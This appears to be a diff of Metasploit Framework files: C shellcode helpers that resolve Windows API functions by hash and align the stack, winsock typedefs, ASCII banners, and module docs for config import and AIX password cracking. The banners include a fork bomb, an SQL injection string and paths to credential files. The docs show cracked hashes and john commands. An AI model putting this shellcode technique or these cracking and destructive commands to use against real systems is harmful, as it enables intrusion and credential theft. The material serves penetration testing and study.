// Get the next loaded module entry
|
||||
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
|
||||
|
||||
// If the current module does not export any functions, move on to the next module.
|
||||
if (dwExportDirRVA == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// Calculate the module hash
|
||||
for (i = 0; i < BaseDllName.MaximumLength; i++)
|
||||
{
|
||||
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
|
||||
|
||||
dwModuleHash = ROTR32( dwModuleHash, 13 );
|
||||
|
||||
if ( *pTempChar >= 0x61 )
|
||||
{
|
||||
dwModuleHash += *pTempChar - 0x20;
|
||||
}
|
||||
else
|
||||
{
|
||||
dwModuleHash += *pTempChar;
|
||||
}
|
||||
}
|
||||
|
||||
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
|
||||
|
||||
dwNumFunctions = pExportDir->NumberOfNames;
|
||||
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
|
||||
|
||||
for (i = 0; i < dwNumFunctions; i++)
|
||||
{
|
||||
dwFunctionHash = 0;
|
||||
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
|
||||
pdwFunctionNameBase++;
|
||||
|
||||
pTempChar = pFunctionName;
|
||||
|
||||
do
|
||||
{
|
||||
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
|
||||
dwFunctionHash += *pTempChar;
|
||||
pTempChar++;
|
||||
} while (*(pTempChar - 1) != 0);
|
||||
|
||||
dwFunctionHash += dwModuleHash;
|
||||
|
||||
if (dwFunctionHash == dwModuleFunctionHash)
|
||||
{
|
||||
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
|
||||
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// All modules have been exhausted and the function was not found.
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,64 @@
|
||||
#ifndef _WINSOCK_UTIL
|
||||
#define _WINSOCK_UTIL
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <intrin.h>
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
typedef int (WINAPI *FuncWSAStartup)
|
||||
(
|
||||
WORD wVersionRequired,
|
||||
LPWSADATA lpWSAData
|
||||
);
|
||||
|
||||
typedef int (WINAPI *FuncWSACleanup) ();
|
||||
|
||||
typedef int (WINAPI *FuncGetAddrInfo)
|
||||
(
|
||||
PCSTR pNodeName,
|
||||
PCSTR pServiceName,
|
||||
const ADDRINFO *pHints,
|
||||
LPADDRINFO *ppResult
|
||||
);
|
||||
|
||||
typedef void (WINAPI *FuncFreeAddrInfo)
|
||||
(
|
||||
LPADDRINFO pAddrInfo
|
||||
);
|
||||
|
||||
typedef SOCKET (WINAPI *FuncWSASocketA) (
|
||||
int af,
|
||||
int type,
|
||||
int protocol,
|
||||
LPWSAPROTOCOL_INFO lpProtocolInfo,
|
||||
GROUP g,
|
||||
DWORD dwFlags
|
||||
);
|
||||
|
||||
typedef int (WINAPI *FuncConnect)
|
||||
(
|
||||
SOCKET s,
|
||||
const struct sockaddr *name,
|
||||
int namelen
|
||||
);
|
||||
|
||||
typedef int (WINAPI *FuncSend)
|
||||
(
|
||||
SOCKET s,
|
||||
const char *buf,
|
||||
int len,
|
||||
int flags
|
||||
);
|
||||
|
||||
typedef int (WINAPI *FuncRecv)
|
||||
(
|
||||
SOCKET s,
|
||||
char *buf,
|
||||
int len,
|
||||
int flags
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,33 @@
|
||||
`:oDFo:`
|
||||
./ymM0dayMmy/.
|
||||
-+dHJ5aGFyZGVyIQ==+-
|
||||
`:sm⏣~~Destroy.No.Data~~s:`
|
||||
-+h2~~Maintain.No.Persistence~~h+-
|
||||
`:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
|
||||
./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
|
||||
-++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+-
|
||||
-~/.ssh/id_rsa.Des- `htN01UserWroteMe!-
|
||||
:dopeAW.No<nano>o :is:TЯiKC.sudo-.A:
|
||||
:we're.all.alike'` The.PFYroy.No.D7:
|
||||
:PLACEDRINKHERE!: yxp_cmdshell.Ab0:
|
||||
:msf>exploit -j. :Ns.BOB&ALICEes7:
|
||||
:---srwxrwx:-.` `MS146.52.No.Per:
|
||||
:<script>.Ac816/ sENbove3101.404:
|
||||
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
|
||||
:09.14.2011.raid /STFU|wall.No.Pr:
|
||||
:hevnsntSurb025N. dNVRGOING2GIVUUP:
|
||||
:#OUTHOUSE- -s: /corykennedyData:
|
||||
:$nmap -oS SSo.6178306Ence:
|
||||
:Awsm.da: /shMTl#beats3o.No.:
|
||||
:Ring0: `dDestRoyREXKC3ta/M:
|
||||
:23d: sSETEC.ASTRONOMYist:
|
||||
/- /yo- .ence.N:(){ :|: & };:
|
||||
`:Shall.We.Play.A.Game?tron/
|
||||
```-ooy.if1ghtf0r+ehUser5`
|
||||
..th3.H1V3.U2VjRFNN.jMh+.`
|
||||
`MjM~~WE.ARE.se~~MMjMs
|
||||
+~KANSAS.CITY's~-`
|
||||
J~HAKCERS~./.`
|
||||
.esc:wq!:`
|
||||
+++ATH`
|
||||
`
|
||||
@@ -0,0 +1,22 @@
|
||||
%clr ___ ____
|
||||
,-"" `.%yel %whi< HONK >
|
||||
,' _ e %yel)`-._%whi / ----
|
||||
/ ,' `-._%yel<.===-'%whi
|
||||
/ /
|
||||
/ ;
|
||||
_ / ;
|
||||
(`._ _.-"" ""--..__,' |
|
||||
<_ `-"" \
|
||||
<`- :
|
||||
(__ <__. ;
|
||||
`-. '-.__. _.' /
|
||||
\ `-.__,-' _,'
|
||||
`._ , /__,-'
|
||||
""._\__,'%yel< <____%whi
|
||||
%yel| | `----.`.
|
||||
%whi %yel| | \ `.
|
||||
%whi %yel; |___ \-``
|
||||
%whi %yel\ --<
|
||||
%whi %yel`.`.<
|
||||
%whi %yel`-'
|
||||
%whi
|
||||
@@ -31,7 +31,7 @@ Stack: 90909090990909090990909090
|
||||
ffffffff..................
|
||||
%clr
|
||||
|
||||
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
|
||||
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00%clr
|
||||
Aiee, Killing Interrupt handler
|
||||
%redKernel panic: Attempted to kill the idle task!
|
||||
In swapper task - not syncing%clr
|
||||
|
||||
@@ -25,5 +25,5 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
|
||||
Example 3:
|
||||
|
||||
```
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:/tmp/ip_list.txt
|
||||
```
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
/*
|
||||
* This code is provided under the 3-clause BSD license below.
|
||||
* ***********************************************************
|
||||
*
|
||||
* Copyright (c) 2013, Matthew Graeber
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
; Author: Matthew Graeber (@mattifestation)
|
||||
; License: BSD 3-Clause
|
||||
; Syntax: MASM
|
||||
; Build Syntax: ml64 /c /Cx AdjustStack.asm
|
||||
; Output: AdjustStack.obj
|
||||
; Notes: I really wanted to avoid having this external dependency but I couldnt
|
||||
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
|
||||
; shellcode written in C.
|
||||
|
||||
extern ExecutePayload
|
||||
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
|
||||
; to be called as an extern in our C code.
|
||||
|
||||
segment .text
|
||||
|
||||
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
|
||||
; to calling the entry point of the payload. This is necessary because 64-bit functions
|
||||
; in Windows assume that they were called with 16-byte stack alignment. When amd64
|
||||
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
|
||||
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
|
||||
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
|
||||
; alignment.
|
||||
|
||||
AlignRSP:
|
||||
push rsi ; Preserve RSI since were stomping on it
|
||||
mov rsi, rsp ; Save the value of RSP so it can be restored
|
||||
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
|
||||
sub rsp, 020h ; Allocate homing space for ExecutePayload
|
||||
call ExecutePayload ; Call the entry point of the payload
|
||||
mov rsp, rsi ; Restore the original value of RSP
|
||||
pop rsi ; Restore RSI
|
||||
ret ; Return to caller
|
||||
@@ -0,0 +1,9 @@
|
||||
ENTRY(_ExecutePayload)
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.ExecutePayload)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
ENTRY(AlignRSP)
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.AlignRSP)
|
||||
*(.text.ExecutePayload)
|
||||
*(.text.GetProcAddressWithHash)
|
||||
}
|
||||
|
||||
}
|
||||
+4517
-889
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,50 @@
|
||||
## General Notes
|
||||
|
||||
This module imports a Brocade configuration file into the database.
|
||||
This is similar to `post/brocade/gather/enum_brocade` only access isn't required,
|
||||
and assumes you already have the file.
|
||||
|
||||
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have a Brocade configuration file
|
||||
2. Start `msfconsole`
|
||||
3. `use auxiliary/admin/brocade/brocade_config`
|
||||
4. `set RHOST x.x.x.x`
|
||||
5. `set CONFIG /tmp/file.config`
|
||||
6. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
Needed for setting services and items to. This is relatively arbitrary.
|
||||
|
||||
**CONFIG**
|
||||
|
||||
File path to the configuration file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
|
||||
msf5 > use auxiliary/admin/brocade/brocade_config
|
||||
msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf
|
||||
config => /tmp/brocade.conf
|
||||
msf5 auxiliary(admin/brocade/brocade_config) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Importing config
|
||||
[+] password-display is enabled, hashes will be displayed in config
|
||||
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
|
||||
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
|
||||
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
|
||||
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
## General Notes
|
||||
|
||||
This module imports a Cisco configuration file into the database.
|
||||
This is similar to `post/cisco/gather/enum_cisco` only access isn't required,
|
||||
and assumes you already have the file.
|
||||
|
||||
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
|
||||
or from [Cisco](https://www.cisco.com/en/US/docs/routers/access/800/850/software/configuration/guide/sampconf.html).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have a Cisco configuration file
|
||||
2. Start `msfconsole`
|
||||
3. `use auxiliary/admin/cisco/cisco_config`
|
||||
4. `set RHOST x.x.x.x`
|
||||
5. `set CONFIG /tmp/file.config`
|
||||
6. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
Needed for setting services and items to. This is relatively arbitrary.
|
||||
|
||||
**CONFIG**
|
||||
|
||||
File path to the configuration file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt -O /tmp/LA_EDGE_D.txt -o /dev/null
|
||||
|
||||
root@metasploit-dev:~/metasploit-framework# ./msfconsole
|
||||
|
||||
[*] Starting persistent handler(s)...
|
||||
msf5 > use auxiliary/admin/cisco/cisco_config
|
||||
msf5 auxiliary(admin/cisco/cisco_config) > set config /tmp/LA_EDGE_D.txt
|
||||
config => /tmp/LA_EDGE_D.txt
|
||||
msf5 auxiliary(admin/cisco/cisco_config) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf5 auxiliary(admin/cisco/cisco_config) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Importing config
|
||||
[+] 127.0.0.1:22 MD5 Encrypted Enable Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
|
||||
[+] 127.0.0.1:22 Username 'Waldo' with MD5 Encrypted Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
|
||||
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
## General Notes
|
||||
|
||||
This module imports a Juniper configuration file into the database.
|
||||
This is similar to `post/juniper/gather/enum_juniper` only access isn't required,
|
||||
and assumes you already have the file.
|
||||
|
||||
Example files for import can be found on git, like [this (junos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
|
||||
or [this (screenos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have a Juniper configuration file
|
||||
2. Start `msfconsole`
|
||||
3. `use auxiliary/admin/juniper/juniper_config`
|
||||
4. `set RHOST x.x.x.x`
|
||||
5. `set CONFIG /tmp/file.config`
|
||||
6. `set action junos`
|
||||
7. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
Needed for setting services and items to. This is relatively arbitrary.
|
||||
|
||||
**CONFIG**
|
||||
|
||||
File path to the configuration file.
|
||||
|
||||
**Action**
|
||||
|
||||
`JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### JunOS
|
||||
|
||||
```
|
||||
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
|
||||
root@metasploit-dev:~/metasploit-framework# ./msfconsole
|
||||
|
||||
[*] Starting persistent handler(s)...
|
||||
msf5 > use auxiliary/admin/juniper/gather/juniper_config
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/juniper_ex2200.config
|
||||
config => /tmp/juniper_ex2200.config
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Importing config
|
||||
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
|
||||
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
|
||||
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
|
||||
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
|
||||
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
|
||||
[+] SNMP community read with permissions read-only
|
||||
[+] SNMP community public with permissions read-only
|
||||
[+] SNMP community private with permissions read-write
|
||||
[+] SNMP community secretsauce with permissions read-write
|
||||
[+] SNMP community hello there with permissions read-write
|
||||
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
|
||||
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### ScreenOS
|
||||
|
||||
```
|
||||
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
|
||||
root@metasploit-dev:~/metasploit-framework# ./msfconsole
|
||||
|
||||
[*] Starting persistent handler(s)...
|
||||
msf5 > use auxiliary/admin/juniper/gather/juniper_config
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/screenos.conf
|
||||
config => /tmp/screenos.conf
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > set action SCREENOS
|
||||
action => SCREENOS
|
||||
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Importing config
|
||||
[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
|
||||
[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module acts as a simple remote control for Belkin Wemo-enabled
|
||||
Crock-Pots by implementing a subset of the functionality provided by the
|
||||
|
||||
@@ -0,0 +1,292 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode AIX
|
||||
based password hashes, such as:
|
||||
|
||||
* `DES` based passwords
|
||||
|
||||
Formats:
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|--------| ---------|---------|
|
||||
| des | descript | 1500 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with a `des` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_aix```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
|
||||
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
|
||||
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
|
||||
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
|
||||
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
|
||||
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
|
||||
echo "test" > /tmp/wordlist
|
||||
echo "password" >> /tmp/wordlist
|
||||
```
|
||||
|
||||
### John the Ripper
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] john Version Detected: 1.9.0-jumbo-1 OMP
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-27621-1ucwc3l
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-27621-qk76qr
|
||||
[*] Checking descrypt hashes already cracked...
|
||||
[*] Cracking descrypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:06) 100.0g/s 1103Kp/s 4415Kc/s 4415KC/s test3:::..t1900
|
||||
Warning: passwords printed above might be partial and not be all those cracked
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking descrypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:06) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
|
||||
Warning: passwords printed above might be partial
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking descrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking descrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1250 descrypt des2_password password Single
|
||||
1251 descrypt des_password password Single
|
||||
1252 descrypt des_55 55 Normal
|
||||
1253 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1254 descrypt des_passphrase passphrase Normal
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
des2_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
